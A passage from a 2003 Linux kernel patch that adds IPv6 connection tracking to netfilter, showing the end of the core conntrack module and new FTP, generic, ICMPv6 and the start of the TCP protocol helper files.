!h && i < ip6_conntrack_htable_size; i++) { + h = LIST_FIND(&ip6_conntrack_hash[i], do_kill, + struct ip6_conntrack_tuple_hash *, kill, data); + } + if (h) + atomic_inc(&h->ctrack->ct_general.use); + READ_UNLOCK(&ip6_conntrack_lock); + + return h; +} + +void +ip6_ct_selective_cleanup(int (*kill)(const struct ip6_conntrack *i, void *data), + void *data) +{ + struct ip6_conntrack_tuple_hash *h; + + /* This is order n^2, by the way. */ + while ((h = get_next_corpse(kill, data)) != NULL) { + /* Time to push up daises... */ + if (del_timer(&h->ctrack->timeout)) + death_by_timeout((unsigned long)h->ctrack); + /* ... else the timer will get him soon. */ + + ip6_conntrack_put(h->ctrack); + } +} + +/* Fast function for those who don't want to parse /proc (and I don't + blame them). */ +/* Reversing the socket's dst/src point of view gives us the reply + mapping. */ +static int +getorigdst(struct sock *sk, int optval, void *user, int *len) +{ + struct inet_opt *inet = inet_sk(sk); + struct ipv6_pinfo *np = inet6_sk(sk); + struct ip6_conntrack_tuple_hash *h; + struct ip6_conntrack_tuple tuple; + + memset(&tuple, 0, sizeof(tuple)); + ipv6_addr_copy(&tuple.src.ip, &np->rcv_saddr); + ipv6_addr_copy(&tuple.dst.ip, &np->daddr); + tuple.src.u.tcp.port = inet->sport; + tuple.dst.u.tcp.port = inet->dport; + tuple.dst.protonum = IPPROTO_TCP; + + /* We only do TCP at the moment: is there a better way? */ + if (strcmp(sk->sk_prot->name, "TCP")) { + DEBUGP("SO_ORIGINAL_DST: Not a TCP socket\n"); + return -ENOPROTOOPT; + } + + if ((unsigned int) *len < sizeof(struct sockaddr_in)) { + DEBUGP("SO_ORIGINAL_DST: len %u not %u\n", + *len, sizeof(struct sockaddr_in)); + return -EINVAL; + } + + h = ip6_conntrack_find_get(&tuple, NULL); + if (h) { + struct sockaddr_in6 sin; + + sin.sin6_family = AF_INET6; + sin.sin6_port = h->ctrack->tuplehash[IP6_CT_DIR_ORIGINAL] + .tuple.dst.u.tcp.port; + ipv6_addr_copy(&sin.sin6_addr, + &h->ctrack->tuplehash[IP6_CT_DIR_ORIGINAL] + .tuple.dst.ip); + + DEBUGP("SO_ORIGINAL_DST: %x:%x:%x:%x:%x:%x:%x:%x %u\n", + NIP6(sin.sin6_addr), ntohs(sin.sin6_port)); + ip6_conntrack_put(h->ctrack); + if (copy_to_user(user, &sin, sizeof(sin)) != 0) + return -EFAULT; + else + return 0; + } + DEBUGP("SO_ORIGINAL_DST: Can't find %x:%x:%x:%x:%x:%x:%x:%x/%u-%x:%x:%x:%x:%x:%x:%x:%x/%u.\n", + NIP6(tuple.src.ip), ntohs(tuple.src.u.tcp.port), + NIP6(tuple.dst.ip), ntohs(tuple.dst.u.tcp.port)); + return -ENOENT; +} + +static struct nf_sockopt_ops so_getorigdst = { + .pf = PF_INET6, + .get_optmin = SO_ORIGINAL_DST, + .get_optmax = SO_ORIGINAL_DST+1, + .get = &getorigdst, +}; + +#define NET_IP6_CONNTRACK_MAX 2089 +#define NET_IP6_CONNTRACK_MAX_NAME "ip6_conntrack_max" + +#ifdef CONFIG_SYSCTL +static struct ctl_table_header *ip6_conntrack_sysctl_header; + +static ctl_table ip6_conntrack_table[] = { + { + .ctl_name = NET_IP6_CONNTRACK_MAX, + .procname = NET_IP6_CONNTRACK_MAX_NAME, + .data = &ip6_conntrack_max, + .maxlen = sizeof(ip6_conntrack_max), + .mode = 0644, + .proc_handler = proc_dointvec + }, + { .ctl_name = 0 } +}; + +static ctl_table ip6_conntrack_dir_table[] = { + { + .ctl_name = NET_IPV6, + .procname = "ipv6", NULL, + .mode = 0555, + .child = ip6_conntrack_table + }, + { .ctl_name = 0 } +}; + +static ctl_table ip6_conntrack_root_table[] = { + { + .ctl_name = CTL_NET, + .procname = "net", + .mode = 0555, + .child = ip6_conntrack_dir_table + }, + { .ctl_name = 0 } +}; +#endif /*CONFIG_SYSCTL*/ + +static int kill_all(const struct ip6_conntrack *i, void *data) +{ + return 1; +} + +/* Mishearing the voices in his head, our hero wonders how he's + supposed to kill the mall. */ +void ip6_conntrack_cleanup(void) +{ +#ifdef CONFIG_SYSCTL + unregister_sysctl_table(ip6_conntrack_sysctl_header); +#endif + ip6_ct_attach = NULL; + /* This makes sure all current packets have passed through + netfilter framework. Roll on, two-stage module + delete... */ + synchronize_net(); + + i_see_dead_people: + ip6_ct_selective_cleanup(kill_all, NULL); + if (atomic_read(&ip6_conntrack_count) != 0) { + schedule(); + goto i_see_dead_people; + } + + kmem_cache_destroy(ip6_conntrack_cachep); + vfree(ip6_conntrack_hash); + nf_unregister_sockopt(&so_getorigdst); +} + +static int hashsize = 0; +MODULE_PARM(hashsize, "i"); + +int __init ip6_conntrack_init(void) +{ + unsigned int i; + int ret; + + /* Idea from tcp.c: use 1/16384 of memory. On i386: 32MB + * machine has 256 buckets. >= 1GB machines have 8192 buckets. */ + if (hashsize) { + ip6_conntrack_htable_size = hashsize; + } else { + ip6_conntrack_htable_size + = (((num_physpages << PAGE_SHIFT) / 16384) + / sizeof(struct list_head)); + if (num_physpages > (1024 * 1024 * 1024 / PAGE_SIZE)) + ip6_conntrack_htable_size = 8192; + if (ip6_conntrack_htable_size < 16) + ip6_conntrack_htable_size = 16; + } + ip6_conntrack_max = 8 * ip6_conntrack_htable_size; + + printk("ip6_conntrack version %s (%u buckets, %d max)" + " - %Zd bytes per conntrack\n", IP6_CONNTRACK_VERSION, + ip6_conntrack_htable_size, ip6_conntrack_max, + sizeof(struct ip6_conntrack)); + + ret = nf_register_sockopt(&so_getorigdst); + if (ret != 0) { + printk(KERN_ERR "Unable to register netfilter socket option\n"); + return ret; + } + + ip6_conntrack_hash = vmalloc(sizeof(struct list_head) + * ip6_conntrack_htable_size); + if (!ip6_conntrack_hash) { + printk(KERN_ERR "Unable to create ip6_conntrack_hash\n"); + goto err_unreg_sockopt; + } + + ip6_conntrack_cachep = kmem_cache_create("ip6_conntrack", + sizeof(struct ip6_conntrack), 0, + SLAB_HWCACHE_ALIGN, NULL, NULL); + if (!ip6_conntrack_cachep) { + printk(KERN_ERR "Unable to create ip6_conntrack slab cache\n"); + goto err_free_hash; + } + /* Don't NEED lock here, but good form anyway. */ + WRITE_LOCK(&ip6_conntrack_lock); + /* Sew in builtin protocols. */ + list_append(&ip6_protocol_list, &ip6_conntrack_protocol_tcp); + list_append(&ip6_protocol_list, &ip6_conntrack_protocol_udp); + list_append(&ip6_protocol_list, &ip6_conntrack_protocol_icmpv6); + WRITE_UNLOCK(&ip6_conntrack_lock); + + for (i = 0; i < ip6_conntrack_htable_size; i++) + INIT_LIST_HEAD(&ip6_conntrack_hash[i]); + +/* This is fucking braindead. There is NO WAY of doing this without + the CONFIG_SYSCTL unless you don't want to detect errors. + Grrr... --RR */ +#ifdef CONFIG_SYSCTL + ip6_conntrack_sysctl_header + = register_sysctl_table(ip6_conntrack_root_table, 0); + if (ip6_conntrack_sysctl_header == NULL) { + goto err_free_ct_cachep; + } +#endif /*CONFIG_SYSCTL*/ + + /* For use by ip6t_REJECT */ + ip6_ct_attach = ip6_conntrack_attach; + return ret; + +#ifdef CONFIG_SYSCTL +err_free_ct_cachep: + kmem_cache_destroy(ip6_conntrack_cachep); +#endif /*CONFIG_SYSCTL*/ +err_free_hash: + vfree(ip6_conntrack_hash); +err_unreg_sockopt: + nf_unregister_sockopt(&so_getorigdst); + + return -ENOMEM; +} diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_ftp.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_ftp.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_ftp.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_ftp.c 2003-09-24 11:30:53.000000000 +0900 @@ -0,0 +1,555 @@ +/* + * FTP extension for IPv6 connection tracking. + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip_conntrack_ftp.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +/* FTP extension for IP6 connection tracking. */ +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include +#include +#include +#include + +/* This is slow, but it's simple. --RR */ +static char ftp_buffer[65536]; + +DECLARE_LOCK(ip6_ftp_lock); +struct module *ip6_conntrack_ftp = THIS_MODULE; + +#define MAX_PORTS 8 +static int ports[MAX_PORTS]; +static int ports_c = 0; +#ifdef MODULE_PARM +MODULE_PARM(ports, "1-" __MODULE_STRING(MAX_PORTS) "i"); +#endif + +static int loose = 0; +MODULE_PARM(loose, "i"); + +#if 0 +#define DEBUGP printk +#else +#define DEBUGP(format, args...) +#endif + +struct cmd_info { + struct in6_addr ip; + u_int16_t port; +}; + +static int try_eprt(const char *, size_t, struct cmd_info *, char); +static int try_espv_response(const char *, size_t, struct cmd_info *, char); + +static struct ftp_search { + enum ip6_conntrack_dir dir; + const char *pattern; + size_t plen; + char skip; + char term; + enum ip6_ct_ftp_type ftptype; + int (*getnum)(const char *, size_t, struct cmd_info *, char); +} search[] = { + { + IP6_CT_DIR_ORIGINAL, + "EPRT", sizeof("EPRT") - 1, ' ', '\r', + IP6_CT_FTP_EPRT, + try_eprt, + }, + { + IP6_CT_DIR_REPLY, + "229 ", sizeof("229 ") - 1, '(', ')', + IP6_CT_FTP_EPSV, + try_espv_response, + }, +}; + +/* This code is revised to inet_pton() in glibc-2.2.4-19.3.src.rpm + of RedHat 7.2 - kozakai */ + +#define NS_IN6ADDRSZ 16 +#define NS_INADDRSZ 4 +#define NS_INT16SZ 2 + +/* + * return the length of string of address parse untill error, + * dlen or reaching terminal char - kozakai + */ +static int +get_ipv6_addr(const char *src, u_int8_t *dst, size_t dlen, u_int8_t term) +{ + static const char xdigits[] = "0123456789abcdef"; + u_int8_t tmp[NS_IN6ADDRSZ], *tp, *endp, *colonp; + const char *curtok; + int ch, saw_xdigit; + u_int32_t val; + size_t clen = 0; + size_t v4len; + + tp = memset(tmp, '\0', NS_IN6ADDRSZ); + endp = tp + NS_IN6ADDRSZ; + colonp = NULL; + + /* Leading :: requires some special handling. */ + if (*src == ':'){ + if (*++src != ':') + return (0); + clen++; + } + + curtok = src; + saw_xdigit = 0; + val = 0; + while ((clen < dlen) && (*src != term)) { + const char *pch; + + ch = tolower (*src++); + clen++; + + pch = strchr(xdigits, ch); + if (pch != NULL) { + val <<= 4; + val |= (pch - xdigits); + if (val > 0xffff) + return (0); + + saw_xdigit = 1; + continue; + } + if (ch == ':') { + curtok = src; + if (!saw_xdigit) { + if (colonp) + return (0); + colonp = tp; + continue; + } else if (*src == term) { + return (0); + } + if (tp + NS_INT16SZ > endp) + return (0); + *tp++ = (u_int8_t) (val >> 8) & 0xff; + *tp++ = (u_int8_t) val & 0xff; + saw_xdigit = 0; + val = 0; + continue; + } + return (0); + } + if (saw_xdigit) { + if (tp + NS_INT16SZ > endp) + return (0); + + *tp++ = (u_int8_t) (val >> 8) & 0xff; + *tp++ = (u_int8_t) val & 0xff; + } + if (colonp != NULL) { + /* + * Since some memmove()'s erroneously fail to handle + * overlapping regions, we'll do the shift by hand. + */ + const int n = tp - colonp; + int i; + + if (tp == endp) + return (0); + + for (i = 1; i <= n; i++) { + endp[- i] = colonp[n - i]; + colonp[n - i] = 0; + } + tp = endp; + } + if (tp != endp || (*src != term)) + return (0); + + memcpy(dst, tmp, NS_IN6ADDRSZ); + return clen; +} + +/* return length of port if succeed. */ +static int get_port(const char *data, u_int16_t *port, size_t dlen, char term) +{ + int i; + u_int16_t tmp_port = 0; + + for(i = 0; i < dlen; i++) { + /* Finished? */ + if(data[i] == term){ + *port = htons(tmp_port); + return i; + } + + if(data[i] < '0' || data[i] > '9') + return 0; + + tmp_port = tmp_port*10 + (data[i] - '0'); + } + return 0; +} + +/* Returns 0, or length of numbers: |1|132.235.1.2|6275| */ +static int try_eprt(const char *data, size_t dlen, struct cmd_info *cmd, + char term) +{ + char delim; + int len; + int addr_len; + + /* First character is delimiter, then "1" for IPv4, then + delimiter again. */ + + if (dlen <= 3) + return 0; + + delim = data[0]; + + if (isdigit(delim) || delim < 33 || delim > 126 + || data[1] != '2' || data[2] != delim){ + return 0; + } + DEBUGP("Got %c2%c\n", delim, delim); + + len = 3; + + /* Now we have IP address. */ + addr_len = get_ipv6_addr(&data[len], cmd->ip.s6_addr, + dlen - len, delim); + + if (addr_len == 0) + return 0; + + len += addr_len + 1; + + DEBUGP("Got IPv6 address!\n"); + + addr_len = get_port(&data[len], &cmd->port, dlen, delim); + + if(addr_len == 0) + return 0; + + len += addr_len + 1; + + return len; +} + +/* Returns 0, or length of numbers: |||6446| */ +static int try_espv_response(const char *data, size_t dlen, + struct cmd_info *cmd, char term) +{ + char delim; + size_t len; + + /* Three delimiters. */ + if (dlen <= 3) + return 0; + + delim = data[0]; + + if (isdigit(delim) || delim < 33 || delim > 126 + || data[1] != delim || data[2] != delim) + return 0; + + len = get_port(&data[3], &cmd->port, dlen, delim); + + if(len == 0) + return 0; + + return 3 + len + 1; +} + +/* Return 1 for match, 0 for accept, -1 for partial. */ +static int find_pattern(const char *data, size_t dlen, + const char *pattern, size_t plen, + char skip, char term, + unsigned int *numoff, + unsigned int *numlen, + struct cmd_info *cmd, + int (*getnum)(const char *, size_t, struct cmd_info *, + char)) +{ + size_t i; + + DEBUGP("find_pattern `%s': dlen = %u\n", pattern, dlen); + if (dlen == 0) + return 0; + + if (dlen <= plen) { + /* Short packet: try for partial? */ + if (strnicmp(data, pattern, dlen) == 0) + return -1; + else return 0; + } + + if (strnicmp(data, pattern, plen) != 0) { +#if 0 + size_t i; + + DEBUGP("ftp: string mismatch\n"); + for (i = 0; i < plen; i++) { + DEBUGP("ftp:char %u `%c'(%u) vs `%c'(%u)\n", + i, data[i], data[i], + pattern[i], pattern[i]); + } +#endif + return 0; + } + + DEBUGP("Pattern matches!\n"); + /* Now we've found the constant string, try to skip + to the 'skip' character */ + for (i = plen; data[i] != skip; i++) + if (i == dlen - 1) return -1; + + /* Skip over the last character */ + i++; + + DEBUGP("Skipped up to `%c'!\n", skip); + + *numoff = i; + *numlen = getnum(data + i, dlen - i, cmd, term); + if (!*numlen) + return -1; + + DEBUGP("Match succeeded!\n"); + return 1; +} + +static int help(const struct sk_buff *skb, + unsigned int protoff, + struct ip6_conntrack *ct, + enum ip6_conntrack_info ctinfo) +{ + unsigned int dataoff, datalen; + struct tcphdr tcph; + u_int32_t old_seq_aft_nl; + int old_seq_aft_nl_set, ret; + int dir = CTINFO2DIR(ctinfo); + unsigned int matchlen, matchoff; + struct ip6_ct_ftp_master *ct_ftp_info = &ct->help.ct_ftp_info; + struct ip6_conntrack_expect expect, *exp = &expect; + struct ip6_ct_ftp_expect *exp_ftp_info = &exp->help.exp_ftp_info; + + unsigned int i; + int found = 0; + + struct ipv6hdr *ipv6h = skb->nh.ipv6h; + struct ip6_conntrack_tuple *t = &exp->tuple, *mask = &exp->mask; + struct cmd_info cmd; + unsigned int csum; + + /* Until there's been traffic both ways, don't look in packets. */ + if (ctinfo != IP6_CT_ESTABLISHED + && ctinfo != IP6_CT_ESTABLISHED+IP6_CT_IS_REPLY) { + DEBUGP("ftp: Conntrackinfo = %u\n", ctinfo); + return NF_ACCEPT; + } + + if (skb_copy_bits(skb, protoff, &tcph, sizeof(tcph)) != 0) + return NF_ACCEPT; + + dataoff = protoff + tcph.doff * 4; + /* No data? */ + if (dataoff >= skb->len) { + DEBUGP("ftp: dataoff(%u) >= skblen(%u)\n", dataoff, skb->len); + return NF_ACCEPT; + } + datalen = skb->len - dataoff; + + LOCK_BH(&ip6_ftp_lock); + + csum = skb_copy_and_csum_bits(skb, dataoff, ftp_buffer, + skb->len - dataoff, 0); + csum = skb_checksum(skb, protoff, tcph.doff * 4, csum); + + /* Checksum invalid? Ignore. */ + /* FIXME: Source route IP option packets --RR */ + if (csum_ipv6_magic(&ipv6h->saddr, &ipv6h->daddr, skb->len - protoff, + IPPROTO_TCP, csum)) { + DEBUGP("ftp_help: bad csum: %p %u\n" + "%x:%x:%x:%x:%x:%x:%x:%x -> %x:%x:%x:%x:%x:%x:%x:%x\n", + &tcph, skb->len - protoff, NIP6(ipv6h->saddr), + NIP6(ipv6h->daddr)); + ret = NF_ACCEPT; + goto out; + } + + old_seq_aft_nl_set = ct_ftp_info->seq_aft_nl_set[dir]; + old_seq_aft_nl = ct_ftp_info->seq_aft_nl[dir]; + + DEBUGP("conntrack_ftp: datalen %u\n", datalen); + if (ftp_buffer[datalen - 1] == '\n') { + DEBUGP("conntrack_ftp: datalen %u ends in \\n\n", datalen); + if (!old_seq_aft_nl_set + || after(ntohl(tcph.seq) + datalen, old_seq_aft_nl)) { + DEBUGP("conntrack_ftp: updating nl to %u\n", + ntohl(tcph.seq) + datalen); + ct_ftp_info->seq_aft_nl[dir] = + ntohl(tcph.seq) + datalen; + ct_ftp_info->seq_aft_nl_set[dir] = 1; + } + } + + if(!old_seq_aft_nl_set || + (ntohl(tcph.seq) != old_seq_aft_nl)) { + DEBUGP("ip6_conntrack_ftp_help: wrong seq pos %s(%u)\n", + old_seq_aft_nl_set ? "":"(UNSET) ", old_seq_aft_nl); + ret = NF_ACCEPT; + goto out; + } + + /* Initialize IP array to expected address (it's not mentioned + in EPSV responses) */ + ipv6_addr_copy(&cmd.ip, &ct->tuplehash[dir].tuple.src.ip); + + for (i = 0; i < ARRAY_SIZE(search); i++) { + if (search[i].dir != dir) continue; + + found = find_pattern(ftp_buffer, datalen, + search[i].pattern, + search[i].plen, + search[i].skip, + search[i].term, + &matchoff, &matchlen, + &cmd, + search[i].getnum); + if (found) break; + } + if (found == -1) { + /* We don't usually drop packets. After all, this is + connection tracking, not packet filtering. + However, it is neccessary for accurate tracking in + this case. */ + if (net_ratelimit()) + printk("conntrack_ftp: partial %s %u+%u\n", + search[i].pattern, + ntohl(tcph.seq), datalen); + ret = NF_DROP; + goto out; + } else if (found == 0) { /* No match */ + ret = NF_ACCEPT; + goto out; + } + + DEBUGP("conntrack_ftp: match `%.*s' (%u bytes at %u)\n", + (int)matchlen, ftp_buffer + matchoff, + matchlen, ntohl(tcph.seq) + matchoff); + + memset(&expect, 0, sizeof(expect)); + + /* Update the ftp info */ + if (!ipv6_addr_cmp(&cmd.ip, &ct->tuplehash[dir].tuple.src.ip)) { + exp->seq = ntohl(tcph.seq) + matchoff; + exp_ftp_info->len = matchlen; + exp_ftp_info->ftptype = search[i].ftptype; + exp_ftp_info->port = cmd.port; + } else { + /* + This situation is occurred with NAT. + */ + if (!loose) { + ret = NF_ACCEPT; + goto out; + } + } + + ipv6_addr_copy(&t->src.ip, &ct->tuplehash[!dir].tuple.src.ip); + ipv6_addr_copy(&t->dst.ip, &cmd.ip); + t->src.u.tcp.port = 0; + t->dst.u.tcp.port = cmd.port; + t->dst.protonum = IPPROTO_TCP; + + ipv6_addr_set(&mask->src.ip, 0xFFFF, 0xFFFF, 0xFFFF, 0xFFFF); + mask->src.u.tcp.port = 0; + mask->dst.u.tcp.port = 0xFFFF; + mask->dst.protonum = 0xFFFF; + + exp->expectfn = NULL; + + /* Ignore failure; should only happen with NAT */ + ip6_conntrack_expect_related(ct, &expect); + ret = NF_ACCEPT; + out: + UNLOCK_BH(&ip6_ftp_lock); + return ret; +} + +static struct ip6_conntrack_helper ftp[MAX_PORTS]; +static char ftp_names[MAX_PORTS][10]; + +/* Not __exit: called from init() */ +static void fini(void) +{ + int i; + for (i = 0; i < ports_c; i++) { + DEBUGP("ip6_ct_ftp: unregistering helper for port %d\n", + ports[i]); + ip6_conntrack_helper_unregister(&ftp[i]); + } +} + +static int __init init(void) +{ + int i, ret; + char *tmpname; + + if (ports[0] == 0) + ports[0] = FTP_PORT; + + for (i = 0; (i < MAX_PORTS) && ports[i]; i++) { + ftp[i].tuple.src.u.tcp.port = htons(ports[i]); + ftp[i].tuple.dst.protonum = IPPROTO_TCP; + ftp[i].mask.src.u.tcp.port = 0xFFFF; + ftp[i].mask.dst.protonum = 0xFFFF; + ftp[i].max_expected = 1; + ftp[i].timeout = 0; + ftp[i].flags = IP6_CT_HELPER_F_REUSE_EXPECT; + ftp[i].me = ip6_conntrack_ftp; + ftp[i].help = help; + + tmpname = &ftp_names[i][0]; + if (ports[i] == FTP_PORT) + sprintf(tmpname, "ftp"); + else + sprintf(tmpname, "ftp-%d", ports[i]); + ftp[i].name = tmpname; + + DEBUGP("ip6_ct_ftp: registering helper for port %d\n", + ports[i]); + ret = ip6_conntrack_helper_register(&ftp[i]); + + if (ret) { + fini(); + return ret; + } + ports_c++; + } + return 0; +} + + +PROVIDES_CONNTRACK6(ftp); +EXPORT_SYMBOL(ip6_ftp_lock); +MODULE_LICENSE("GPL"); +module_init(init); +module_exit(fini); diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_generic.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_generic.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_generic.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_generic.c 2003-09-24 11:30:53.000000000 +0900 @@ -0,0 +1,82 @@ +/* + * IPv6 generic protocol extension for IPv6 connection tracking + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip_conntrack_proto_generic.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include + +#define GENERIC_TIMEOUT (600*HZ) + +static int generic_pkt_to_tuple(const struct sk_buff *skb, + unsigned int dataoff, + struct ip6_conntrack_tuple *tuple) +{ + tuple->src.u.all = 0; + tuple->dst.u.all = 0; + + return 1; +} + +static int generic_invert_tuple(struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *orig) +{ + tuple->src.u.all = 0; + tuple->dst.u.all = 0; + + return 1; +} + +/* Print out the per-protocol part of the tuple. */ +static unsigned int generic_print_tuple(char *buffer, + const struct ip6_conntrack_tuple *tuple) +{ + return 0; +} + +/* Print out the private part of the conntrack. */ +static unsigned int generic_print_conntrack(char *buffer, + const struct ip6_conntrack *state) +{ + return 0; +} + +/* Returns verdict for packet, or -1 for invalid. */ +static int established(struct ip6_conntrack *conntrack, + const struct sk_buff *skb, + unsigned int dataoff, + enum ip6_conntrack_info conntrackinfo) +{ + ip6_ct_refresh(conntrack, GENERIC_TIMEOUT); + return NF_ACCEPT; +} + +/* Called when a new connection for this protocol found. */ +static int +new(struct ip6_conntrack *conntrack, + const struct sk_buff *skb, + unsigned int dataoff) +{ + return 1; +} + +struct ip6_conntrack_protocol ip6_conntrack_generic_protocol += { { NULL, NULL }, 0, "unknown", + generic_pkt_to_tuple, generic_invert_tuple, generic_print_tuple, + generic_print_conntrack, established, new, NULL, NULL, NULL }; + diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_icmpv6.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_icmpv6.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_icmpv6.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_icmpv6.c 2003-09-24 13:06:58.000000000 +0900 @@ -0,0 +1,132 @@ +/* + * ICMPv6 extension for IPv6 connection tracking + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip_conntrack_proto_icmp.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include +#include +#include + +#define ICMPV6_TIMEOUT (30*HZ) + +#if 0 +#define DEBUGP printk +#else +#define DEBUGP(format, args...) +#endif + +static int icmpv6_pkt_to_tuple(const struct sk_buff *skb, + unsigned int dataoff, + struct ip6_conntrack_tuple *tuple) +{ + struct icmp6hdr hdr; + + if (skb_copy_bits(skb, dataoff, &hdr, sizeof(hdr)) != 0) + return 0; + tuple->dst.u.icmpv6.type = hdr.icmp6_type; + tuple->src.u.icmpv6.id = hdr.icmp6_identifier; + tuple->dst.u.icmpv6.code = hdr.icmp6_code; + + return 1; +} + +static int icmpv6_invert_tuple(struct ip6_conntrack_tuple *tuple, + const struct ip6_conntrack_tuple *orig) +{ + /* Add 1; spaces filled with 0. */ + static u_int8_t invmap[] = { + [ICMPV6_ECHO_REQUEST] = ICMPV6_ECHO_REPLY + 1, + [ICMPV6_ECHO_REPLY] = ICMPV6_ECHO_REQUEST + 1, + }; + + if (orig->dst.u.icmpv6.type >= sizeof(invmap) + || !invmap[orig->dst.u.icmpv6.type]) + return 0; + + tuple->src.u.icmpv6.id = orig->src.u.icmpv6.id; + tuple->dst.u.icmpv6.type = invmap[orig->dst.u.icmpv6.type] - 1; + tuple->dst.u.icmpv6.code = orig->dst.u.icmpv6.code; + return 1; +} + +/* Print out the per-protocol part of the tuple. */ +static unsigned int icmpv6_print_tuple(char *buffer, + const struct ip6_conntrack_tuple *tuple) +{ + return sprintf(buffer, "type=%u code=%u id=%u ", + tuple->dst.u.icmpv6.type, + tuple->dst.u.icmpv6.code, + ntohs(tuple->src.u.icmpv6.id)); +} + +/* Print out the private part of the conntrack. */ +static unsigned int icmpv6_print_conntrack(char *buffer, + const struct ip6_conntrack *conntrack) +{ + return sprintf(buffer, "count=%u ", + atomic_read(&conntrack->proto.icmpv6.count)); +} + +/* Returns verdict for packet, or -1 for invalid. */ +static int icmpv6_packet(struct ip6_conntrack *ct, + const struct sk_buff *skb, + unsigned int dataoff, + enum ip6_conntrack_info ctinfo) +{ + /* Try to delete connection immediately after all replies: + won't actually vanish as we still have skb, and del_timer + means this will only run once even if count hits zero twice + (theoretically possible with SMP) */ + if (CTINFO2DIR(ctinfo) == IP6_CT_DIR_REPLY) { + if (atomic_dec_and_test(&ct->proto.icmpv6.count) + && del_timer(&ct->timeout)) + ct->timeout.function((unsigned long)ct); + } else { + atomic_inc(&ct->proto.icmpv6.count); + ip6_ct_refresh(ct, ICMPV6_TIMEOUT); + } + + return NF_ACCEPT; +} + +/* Called when a new connection for this protocol found. */ +static int icmpv6_new(struct ip6_conntrack *conntrack, + const struct sk_buff *skb, + unsigned int dataoff) +{ + static u_int8_t valid_new[] = { + [ICMPV6_ECHO_REQUEST] = 1, + }; + + if (conntrack->tuplehash[0].tuple.dst.u.icmpv6.type >= sizeof(valid_new) + || !valid_new[conntrack->tuplehash[0].tuple.dst.u.icmpv6.type]) { + /* Can't create a new ICMPV6 `conn' with this. */ + DEBUGP("icmpv6: can't create new conn with type %u\n", + conntrack->tuplehash[0].tuple.dst.u.icmpv6.type); + DUMP_TUPLE(&conntrack->tuplehash[0].tuple); + return 0; + } + atomic_set(&conntrack->proto.icmpv6.count, 0); + return 1; +} + +struct ip6_conntrack_protocol ip6_conntrack_protocol_icmpv6 += { { NULL, NULL }, IPPROTO_ICMPV6, "icmpv6", + icmpv6_pkt_to_tuple, icmpv6_invert_tuple, icmpv6_print_tuple, + icmpv6_print_conntrack, icmpv6_packet, icmpv6_new, NULL, NULL, NULL }; diff -Nur linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_tcp.c linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_tcp.c --- linux-2.6.0-test5/net/ipv6/netfilter/ip6_conntrack_proto_tcp.c 1970-01-01 09:00:00.000000000 +0900 +++ linux-2.6.0-test5-ct6/net/ipv6/netfilter/ip6_conntrack_proto_tcp.c 2003-09-24 11:30:53.000000000 +0900 @@ -0,0 +1,273 @@ +/* + * TCP extension for IPv6 Connection Tracking + * Linux INET6 implementation + * + * Copyright (C)2003 USAGI/WIDE Project + * + * Authors: + * Yasuyuki Kozakai + * + * Based on: net/ipv4/netfilter/ip_conntrack_proto_tcp.c + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License + * as published by the Free Software Foundation; either version + * 2 of the License, or (at your option) any later version. + */ + +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include + +#include +#include +#include + +#if 0 +#define DEBUGP printk +#else +#define DEBUGP(format, args...) +#endif + +/* Protects conntrack->proto.tcp */ +static DECLARE_RWLOCK(tcp_lock); + +/* FIXME: Examine ipfilter's timeouts and conntrack transitions more + closely. They're more complex. --RR */ + +/* Actually, I believe that neither ipmasq (where this code is stolen + from) nor ipfilter do it exactly right. A new conntrack machine taking + into account packet loss (which creates uncertainty as to exactly + the conntrack of the connection) is required. RSN. --RR */ + +static const char *tcp_conntrack_names[] = { + "NONE", + "ESTABLISHED", + "SYN_SENT", + "SYN_RECV", + "FIN_WAIT", + "TIME_WAIT", + "CLOSE", + "CLOSE_WAIT", + "LAST_ACK", + "LISTEN" +}; + +#define SECS *HZ +#define MINS * 60 SECS +#define HOURS * 60 MINS +#define DAYS * 24 HOURS + + +static unsigned long tcp_timeouts[] += { 30 MINS, /* TCP_CONNTRACK_NONE, */ + 5 DAYS, /* TCP_CONNTRACK_ESTABLISHED, */ + 2 MINS, /* TCP_CONNTRACK_SYN_SENT, */ + 60 SECS, /* TCP_CONNTRACK_SYN_RECV, */ + 2 MINS, /* TCP_CONNTRACK_FIN_WAIT, */ + 2 MINS, /* 